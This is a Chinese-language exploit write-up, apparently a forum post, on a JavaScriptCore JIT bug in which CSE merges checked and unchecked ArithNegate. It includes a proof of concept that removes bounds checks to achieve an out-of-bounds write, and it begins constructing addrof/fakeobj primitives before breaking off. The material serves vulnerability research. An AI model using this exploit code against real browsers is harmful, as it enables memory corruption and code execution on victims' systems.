环境搭建

git checkout 17218d1485b0f5d98d2aad116d4fdb2bad6aee2d
git < ./patch.diff
Tools/Scripts/build-webkit --jsc-only --debug

启动运行:

./jsc --useConcurrentJIT=false ./exp.js

基础知识

jsc 优化的四个阶段:

在jsc中会对以下的 JS 代码进行优化:

let c = a + b;
let d = a + b;

优化成:

let c = a + b;
let d = c;

这种优化称为 Common Subexpression Elimination (CSE),公共子表达式消除,但是像下面这种:

let c = o.a;
f();
let d = o.a;

就无法进行优化消除,直接使d=c,因为在调用f()函数的过程中可能会改变o.a的值。

在JSC中,对某项操作是否进行CSE是在DFGClobberize中实现的。

漏洞分析

漏洞点在于:

case ArithNegate:
        if (node->child1().useKind() == Int32Use || ...)
            def(PureValue(node));          // <- only the input matters, not the ArithMode

ArithNegate 操作中没有使用ArithMode,这可能导致 CSE 可以用 unchecked的 ArithNegate 替换 checked的ArithNegate,对于ArithNegate一个32位整数求反的情况下,整数溢出只能在一种情况下发生,即32位有符号整数的最小值INT_MIN:0x80000000(-2147483648),取反后为2147483648,然而32位有符号整数的最大值为0x7fffffff,不能表示2147483648,导致溢出。溢出后需要做的就是绕过checked 的溢出检查,例如将操作的checked模式转成unchecked模式。

最终要构造以下效果:

v = ArithNeg(unchecked) n
i = ArithNeg(checked) n

然后通过CSE 优化转化成:

v = ArithNeg(unchecked) n
i = v

(1)所以首先我们要得到一个v = ArithNeg(unchecked) n

ArithNegate 用于对整数取反,然而JavaScript中很多数据为浮点数类型,所以需要先将其转成整数:

n = n|0;   // n will be an integer value now

此时,n为一个32位的整数,之后要构造一个unchecked ArithNegate操作

n = n|0;         // 【1】
let v = (-n)|0;  // 【2】

【2】在DFGFixupPhase处理流程中,对n取反会被转化成unchecked ArithNegate操作。在对取反的值进行or操作时,编译器会消除溢出的检查,因为即使是对INT_MIN:0x80000000 (-2147483648)取反后进行or操作,得到的值也是0x80000000,v的值不会溢出,所以没必要进行溢出检查。

js> -2147483648 | 0
-2147483648
js> 2147483648 | 0
-2147483648

(2)接下来要构造i = ArithNeg(checked) n

通过ArithAbs操作实现,只有当传入的n为负数时,才会将ArithAbs转化成ArithNegate操作进行检查,因为正数的绝对值是它本身,不会造成溢出,也不用取反。因此完成以下的构造:

n = n|0;
if (n < 0) {
    // Compiler knows that n will be a negative integer here
    let v = (-n)|0;
    let i = Math.abs(n);
}

Math.abs会调用到ArithAbs 操作,之后 IntegerRangeOptimization将 ArithAbs转换为一个checked的ArithNegate(这里要进行检查,是因为 INT_MIN:-2147483648取绝对值后变成2147483648会造成溢出)。此时v 和 i 的值被认为是相同的,都是ArithNeg n,只不过模式不同,但CSE优化会无视模式不同,直接当成同一个值处理。

(3)准备条件已经完成,最后通过循环调用,触发CSE优化,转化成:

v = ArithNeg(unchecked) n
i = v

综上所述,poc如下:

function hax(arr, n) {
  n = n|0;
  if (n < 0) {
    let v = (-n)|0;
    let idx = Math.abs(n);
    if (idx < arr.length) {
        arr[idx];
    }
  }
}

触发漏洞前,IntegerRangeOptimization 在进入idx < arr.length 时将idx标志为恒大于等于0 且小于数组长度,此时传入的n为负数,idx=-n,通过循环训练,JIT会认为idx极大可能落在数组内,预测下一次访问也在数组内,从而消除数组的越界访问检查。

而触发漏洞,进行CSE优化时,传入的n为-2147483648,idx=v=-2147483648,依然为负数,小于数组长度,进入判断,但此时已经消除了数组的越界检查。上述最终效果是可以越界访问arr[-2147483648],造成crash。

后面要做的就是将idx从-2147483648 转化成任意数,越界读写后面对象的内容。修改poc如下:

function Foo(arr, n)
{
    n = n | 0;
    if(n < 0) {
        let v = (-n) | 0;
        let idx = Math.abs(n);
        if(idx < arr.length) {
            if(idx & 0x80000000) { // 输入值为负时才能进行减法操作
                idx += -0x7ffffffd;  // idx = 3;
            }
            if(idx > 0) { // 由于前面的减法,IntegerRangeOptimization无法确定idx是否恒大于等于0,所以要加判断
                return arr[idx] = 1.04380972981885e-310;  // i2f(0x133700001337);
            }
        }
    }
}

通过idx-0x7ffffffd 使idx=3,因为此时JIT认为idx恒为正数,减去0x7ffffffd 并不会造成溢出,所以消除了ArithAdd的检查,所以从进入idx < arr.length 条件判断到越界写操作,一路的检查都被消除了,造成了OOB漏洞。

漏洞利用

构造addrof和fakeobj原语

根据poc可以越界改写后面浮点数数组的长度,构造一个可以越界读写的数组:

布置三个数组,地址如下:

[+] arr: 0x00007fe4f209e4e8
[+] oobAddr: 0x00007fe4f209ed68
[+] objAddr: 0x00007fe4f209ede8

调试观察它们butterfly的布局:

可以看到通过越界读写arr[3],可以将oobArr数组的length修改成0x1337,之后通过oobArr可以再一次越界读写,通过修改oobArr[4],可以直接修改objArr[0]的内容,由于oobArr为浮点数数组,objArr为对象数组,通过类型转化可以完成addrof和fakeobj 原语:

let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];
点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖